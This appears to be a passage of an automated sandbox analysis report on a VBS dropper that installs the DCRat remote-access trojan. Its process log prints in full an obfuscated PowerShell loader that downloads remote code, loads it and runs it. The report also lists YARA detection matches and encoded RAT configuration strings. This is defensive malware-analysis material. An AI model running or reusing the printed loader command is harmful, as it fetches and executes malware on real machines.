Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848E5078D	4_2_00007FF848E5078D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FF848E20F5B	19_2_00007FF848E20F5B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FF848E2041D	19_2_00007FF848E2041D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FF848E13402	21_2_00007FF848E13402

Source: sostener.vbs

Initial sample: Strings found which are bigger than 50

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.155dc4f0000.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 26.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 26.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 26.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 26.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 19.2.powershell.exe.240c11b51a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 19.2.powershell.exe.240c11b51a0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 19.2.powershell.exe.240c11b51a0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 19.2.powershell.exe.240c11b51a0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 33.2.powershell.exe.1c03cb43b98.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 33.2.powershell.exe.1c03cb43b98.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 33.2.powershell.exe.1c03cb43b98.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 33.2.powershell.exe.1c03cb43b98.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 4.2.powershell.exe.155c41c7c80.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.155c41c7c80.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.powershell.exe.155c41c7c80.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.powershell.exe.155c41c7c80.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 33.2.powershell.exe.1c03cb40780.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 33.2.powershell.exe.1c03cb40780.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 33.2.powershell.exe.1c03cb40780.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 33.2.powershell.exe.1c03cb40780.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 19.2.powershell.exe.240c11b1d88.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 19.2.powershell.exe.240c11b1d88.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 19.2.powershell.exe.240c11b1d88.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 19.2.powershell.exe.240c11b1d88.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 19.2.powershell.exe.240c0f59258.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 4.2.powershell.exe.155c408daf0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 33.2.powershell.exe.1c03c941ab0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 4.2.powershell.exe.155c5369780.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 0000001A.00000002.2343267450.0000000001509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.2534304751.00000155DC4F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000027.00000002.2729558667.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000027.00000002.2794514159.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000001A.00000002.2386589663.0000000003131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000027.00000002.2794514159.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: powershell.exe PID: 1120, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6644, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: powershell.exe PID: 6644, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7896, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: powershell.exe PID: 7896, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: RegSvcs.exe PID: 3872, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: RegSvcs.exe PID: 7484, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12

Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, Settings.cs	Base64 encoded string: 'rdvg6WR9YpK4ldjpOONzY1prolv9NEkpkwUs2GkgR//0YtYH71rbxnR4PfBGmKhcLHtUrWgSsu+78LWRDCPstL0LWyHbVXPesRyBf8ep2nk=', 'kavigSNbfCs4IxuRCpfhumt7bCDlfiYTnBbT8pebQJaPJb8mlJBl7LhTP3A3D1oAvA9GgjgmY82OkDe1wp1WS9wyXKoH33DKgXCHGkVhdxmVDR5O3ckPdt7AZq6A27WPZ45ZZYqJ0Q/xn4KPodqJiJV3Tjop6IJ2RAcH6E9eLR2IIauR8fzkjhfIpmJxMk+CP8AYqydzOwaR03qYahkZv3rhQlsHUWeqGeYQtjFnvewL7x93qMLeiQt6fahVgVjBmll1DTYlzCGoaCZMRzXSKcKaffC71+RasCUhGK18dCw=', 'jVe/CHyxeji+ISSX691hV54Pga5de6Nfp7sJWmdTAzHCaR7mZl2MO65Hk6KJMauS9Y6jw9wXKcqYOT2qrHh4JQ==', 'vVLVqaAyjFawc15DAD8/cfIQb0Gumvo25eyVv99u7lA+4pgQQfe5He3KVJsqW0aNW9hTCtQIhPaNPwOsYJIAxA=='
